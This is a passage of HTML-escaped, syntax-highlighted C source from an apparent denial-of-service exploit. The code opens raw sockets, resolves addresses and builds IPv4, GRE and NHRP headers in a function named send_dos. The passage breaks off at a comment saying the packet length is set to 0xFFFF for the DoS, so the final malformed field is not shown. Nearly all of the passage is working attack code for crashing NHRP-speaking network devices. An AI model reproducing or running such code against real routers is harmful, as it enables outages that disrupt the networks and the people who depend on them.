&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#ifndef _BSD
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;setsockopt&lt;/span&gt;(fd, IPPROTO_IP, SO_BROADCAST, ptr, &lt;span style=&#34;color:#66d9ef&#34;&gt;sizeof&lt;/span&gt;(one)) &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;fprintf&lt;/span&gt;(stderr,&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Error: open_socket: setsockopt failed.&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;exit&lt;/span&gt;(EXIT_FAILURE);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;#endif
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt;(fd);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Close the socket */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;close_socket&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt; fd)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;close&lt;/span&gt;(fd));
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Resolve the hostname to IP address */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;long&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;resolve_ip&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;char&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;host)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; in_addr addr;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; hostent &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;host_ent;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt;((addr.s_addr &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;inet_addr&lt;/span&gt;(host)) &lt;span style=&#34;color:#f92672&#34;&gt;==&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt;(&lt;span style=&#34;color:#f92672&#34;&gt;!&lt;/span&gt;(host_ent &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;gethostbyname&lt;/span&gt;(host)))
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt;(&lt;span style=&#34;color:#f92672&#34;&gt;-&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;memcpy&lt;/span&gt;((&lt;span style=&#34;color:#66d9ef&#34;&gt;char&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;)&lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&lt;/span&gt;addr.s_addr, host_ent&lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt;h_addr, host_ent&lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt;h_length);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt;(addr.s_addr);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Get IPv4 address of DEVICE */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;long&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;get_int_ipv4&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;char&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;device)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt; tmp_fd;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; ifreq ifr;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; sockaddr_in &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;sin;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;tmp_fd &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;socket&lt;/span&gt;(PF_INET, SOCK_DGRAM, &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt;(tmp_fd &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;fprintf&lt;/span&gt;(stderr, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Error: get_int_ipv4: socket failed.&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;exit&lt;/span&gt;(EXIT_FAILURE);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;memset&lt;/span&gt;(&lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&lt;/span&gt;ifr, &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;, &lt;span style=&#34;color:#66d9ef&#34;&gt;sizeof&lt;/span&gt;(ifr));
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;sin &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; sockaddr_in &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;) &lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&lt;/span&gt;ifr.ifr_addr;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;strncpy&lt;/span&gt;(ifr.ifr_name, device, &lt;span style=&#34;color:#66d9ef&#34;&gt;sizeof&lt;/span&gt;(ifr.ifr_name));
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ifr.ifr_addr.sa_family &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; AF_INET;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt;(&lt;span style=&#34;color:#a6e22e&#34;&gt;ioctl&lt;/span&gt;(tmp_fd, SIOCGIFADDR, (&lt;span style=&#34;color:#66d9ef&#34;&gt;char&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;) &lt;span style=&#34;color:#f92672&#34;&gt;&amp;amp;&lt;/span&gt;ifr) &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;fprintf&lt;/span&gt;(stderr, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Error: get_int_ipv4: ioctl failed.&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;exit&lt;/span&gt;(EXIT_FAILURE);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;close&lt;/span&gt;(tmp_fd);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;return&lt;/span&gt;(sin&lt;span style=&#34;color:#f92672&#34;&gt;-&amp;gt;&lt;/span&gt;sin_addr.s_addr);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Send NHRP packet */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;send_dos&lt;/span&gt; (&lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt; fd, &lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;long&lt;/span&gt; src_ip, &lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;long&lt;/span&gt; dst_ip,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;long&lt;/span&gt; gre_key)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; ip ip_hdr;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; ip &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;iphdr;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; gre_h gre_hdr;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; nhrp_h nhrp_hdr;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;struct&lt;/span&gt; sockaddr_in sin;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt; bytes &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;int&lt;/span&gt; GRE_SIZE &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; GRE_HDR_SIZE;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Packet buffer */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;unsigned&lt;/span&gt; &lt;span style=&#34;color:#66d9ef&#34;&gt;char&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;*&lt;/span&gt;buf;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt;(gre_key&lt;span style=&#34;color:#f92672&#34;&gt;!=&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;GRE_SIZE&lt;span style=&#34;color:#f92672&#34;&gt;+=&lt;/span&gt;GRE_KEY_SIZE;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Allocate some memory */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;buf &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;malloc&lt;/span&gt;(IP_HDR_SIZE&lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt;GRE_SIZE&lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt;NHRP_HDR_SIZE);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt;(buf &lt;span style=&#34;color:#f92672&#34;&gt;&amp;lt;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;fprintf&lt;/span&gt;(stderr, &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Error: send_dos: malloc failed.&lt;/span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;\n&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#a6e22e&#34;&gt;exit&lt;/span&gt;(EXIT_FAILURE);
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* Increment NHRP request ID */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;nhrp_req_id&lt;span style=&#34;color:#f92672&#34;&gt;++&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* IPv4 Header */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ip_hdr.ip_v             &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;4&lt;/span&gt;;                    &lt;span style=&#34;color:#75715e&#34;&gt;/* IP version */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ip_hdr.ip_hl            &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;5&lt;/span&gt;;                    &lt;span style=&#34;color:#75715e&#34;&gt;/* IP header length */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ip_hdr.ip_tos           &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0x00&lt;/span&gt;;                 &lt;span style=&#34;color:#75715e&#34;&gt;/* IP ToS */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ip_hdr.ip_len           &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;htons&lt;/span&gt;(IP_HDR_SIZE  &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;GRE_SIZE &lt;span style=&#34;color:#f92672&#34;&gt;+&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;NHRP_HDR_SIZE
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;);                    &lt;span style=&#34;color:#75715e&#34;&gt;/* IP total length */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ip_hdr.ip_id            &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;;                    &lt;span style=&#34;color:#75715e&#34;&gt;/* IP identification */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ip_hdr.ip_off           &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;;                    &lt;span style=&#34;color:#75715e&#34;&gt;/* IP frag offset */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ip_hdr.ip_ttl           &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;64&lt;/span&gt;;                   &lt;span style=&#34;color:#75715e&#34;&gt;/* IP time to live */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ip_hdr.ip_p             &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; IPPROTO_GRE;          &lt;span style=&#34;color:#75715e&#34;&gt;/* IP protocol */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ip_hdr.ip_sum           &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;;                    &lt;span style=&#34;color:#75715e&#34;&gt;/* IP checksum */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ip_hdr.ip_src.s_addr    &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; src_ip;               &lt;span style=&#34;color:#75715e&#34;&gt;/* IP source */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ip_hdr.ip_dst.s_addr    &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; dst_ip;               &lt;span style=&#34;color:#75715e&#34;&gt;/* IP destination */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* GRE header */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt;(gre_key &lt;span style=&#34;color:#f92672&#34;&gt;!=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;gre_hdr.flags   &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;htons&lt;/span&gt;(&lt;span style=&#34;color:#ae81ff&#34;&gt;0x2000&lt;/span&gt;);        &lt;span style=&#34;color:#75715e&#34;&gt;/* GRE flags */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;gre_hdr.key     &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;htonl&lt;/span&gt;(gre_key);       &lt;span style=&#34;color:#75715e&#34;&gt;/* GRE key */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;} &lt;span style=&#34;color:#66d9ef&#34;&gt;else&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;gre_hdr.flags   &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;gre_hdr.ptype           &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;htons&lt;/span&gt;(&lt;span style=&#34;color:#ae81ff&#34;&gt;0x2001&lt;/span&gt;);        &lt;span style=&#34;color:#75715e&#34;&gt;/* GRE type (NHRP) */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP fixed header */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;nhrp_hdr.fixed.afn      &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;htons&lt;/span&gt;(&lt;span style=&#34;color:#ae81ff&#34;&gt;0x0001&lt;/span&gt;);        &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP AFN */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;nhrp_hdr.fixed.proto    &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;htons&lt;/span&gt;(&lt;span style=&#34;color:#ae81ff&#34;&gt;0x0800&lt;/span&gt;);        &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP protocol type */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;nhrp_hdr.fixed.snap     &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;;                    &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP SNAP */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;nhrp_hdr.fixed.snapE    &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;;                    &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP SNAP */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;nhrp_hdr.fixed.hops     &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0xFF&lt;/span&gt;;                 &lt;span style=&#34;color:#75715e&#34;&gt;/* NHRP hop count */&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;/* DoS -&amp;gt; Set length to 0xFFFF */&lt;/span&gt;
